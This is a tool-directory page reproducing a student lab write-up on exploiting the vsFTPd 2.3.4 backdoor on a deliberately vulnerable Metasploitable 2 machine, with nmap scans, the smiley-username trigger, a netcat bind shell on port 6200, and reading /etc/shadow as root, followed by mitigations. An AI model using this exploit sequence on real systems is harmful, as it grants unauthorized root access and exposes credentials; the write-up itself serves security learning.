Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
metasploitable2-vsftpd-exploitation — Project: vsFTPd 2.3.4 backdoor exploitation (CVE-2011-2523) on Metasploitable 2. | Kitploit
Tools/GitHubGitHub/rinaliyeva/metasploitable2-vsftpd-exploitation
Password CrackingPrivilege EscalationReconnaissanceNetwork MappingPort ScanningVulnerability AnalysisExploitationPost-ExploitationPenetration Testing

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Learning & Education
GitHubrinaliyeva/metasploitable2-vsftpd-exploitation

metasploitable2-vsftpd-exploitation

Project: vsFTPd 2.3.4 backdoor exploitation (CVE-2011-2523) on Metasploitable 2.

View Repository
54 months agoNot yet reviewed

Metasploitable 2 - vsFTPd 2.3.4 Exploitation Lab

Overview

This project demonstrates a penetration testing workflow against a deliberately vulnerable machine, Metasploitable 2. The objective was to identify, exploit, and analyze a known vulnerability in the FTP service, ultimately achieving root-level access and assessing the security impact.


Lab Setup

  • Attacker Machine: Ubuntu (Virtual Machine)
  • Target Machine: Metasploitable 2 (Virtual Machine)
  • Network Configuration: Host-only network (192.168.56.0/24)

Target Verification

Verified the target system and its network configuration:

root@kitploit:~
whoami
hostname
ifconfig

Target setup verification


Connectivity Check

Confirmed network connectivity between attacker and target:

root@kitploit:~
ping 192.168.56.101

Ping connectivity check


Objectives

  • Perform network reconnaissance
  • Identify exposed services
  • Detect vulnerable software
  • Exploit a known backdoor vulnerability
  • Achieve root access
  • Conduct post-exploitation analysis

Tools Used

  • Nmap
  • Telnet
  • Netcat
  • Linux (Ubuntu VM)

Attack Flow Summary

  1. Verified target configuration and connectivity
  2. Discovered target host on the local network
  3. Identified open ports and exposed services
  4. Detected vulnerable FTP service (vsFTPd 2.3.4)
  5. Triggered backdoor via crafted FTP login
  6. Gained root access through bind shell
  7. Performed post-exploitation enumeration

Reconnaissance

Performed host discovery:

root@kitploit:~
nmap -sn 192.168.56.0/24

Identified active hosts on the network.

Host discovery scan


Port Scanning

root@kitploit:~
nmap 192.168.56.101

Discovered multiple open ports, including:

  • 21 (FTP)
  • 22 (SSH)
  • 23 (Telnet)
  • 80 (HTTP)
  • 445 (SMB)

Port scan results


Service Enumeration

root@kitploit:~
nmap -sV 192.168.56.101

Identified the FTP service running:

root@kitploit:~
vsFTPd 2.3.4

A full service and script-based scan is included in the supporting files: Nmap Scan Output.

Service enumeration


Vulnerability Identification

The FTP service was running a known vulnerable version:

vsFTPd 2.3.4

This version of vsFTPd was distributed with a malicious backdoor that is triggered when a username containing :) is used during authentication. Upon activation, the service opens a bind shell on port 6200, allowing unauthorized remote access.


Exploitation (Manual)

Triggered the backdoor using Telnet:

root@kitploit:~
telnet 192.168.56.101 21
root@kitploit:~
USER test:)
PASS test

Backdoor trigger via Telnet


Shell Access

Connected to the backdoor using Netcat:

root@kitploit:~
nc 192.168.56.101 6200

Bind shell connection


Result

root@kitploit:~
whoami
root@kitploit:~
root

Root access successfully obtained

Root access proof


Post-Exploitation

After obtaining root access, basic system enumeration was performed:

root@kitploit:~
cat /etc/passwd
cat /etc/shadow
  • Enumerated system users and service accounts
  • Retrieved hashed credentials from /etc/shadow
  • Demonstrated access to sensitive system files

User enumeration

Shadow file access


Impact

  • Full system compromise (root-level access)
  • Ability to execute arbitrary commands
  • Exposure of sensitive credential data
  • Potential for lateral movement within a network

Mitigation

  • Remove or disable FTP service if not required
  • Update vulnerable software to secure versions
  • Replace insecure protocols (like unencrypted FTP) with secure alternatives (SFTP)
  • Restrict access to critical services via firewall rules
  • Implement logging and monitoring
  • Enforce strong authentication policies

Supporting Files

  • Nmap Scan Output

Key Takeaway

This lab demonstrates how a single vulnerable service can lead to full system compromise. It highlights the importance of proper service configuration, patch management, and minimizing exposed attack surfaces.

What I Learned

This was my first time manually exploiting a real-world backdoor. I learned how a single malicious username string (:)) can trigger root-level access, which reinforced why service enumeration and version detection matter so much in reconnaissance. I also got more comfortable with basic Linux post-exploitation commands, like reading /etc/shadow and understanding what hashed credentials actually look like.

Limitations

This was a controlled lab environment using Metasploitable 2, an intentionally vulnerable machine. The vsFTPd 2.3.4 backdoor is a known CVE (CVE-2011-2523) from 2011, so this does not reflect a modern real-world engagement. In a real assessment, additional steps like evasion, logging bypass, or pivoting would be needed. This project focused on understanding the core exploit mechanics, not a complete penetration test.

Download Tool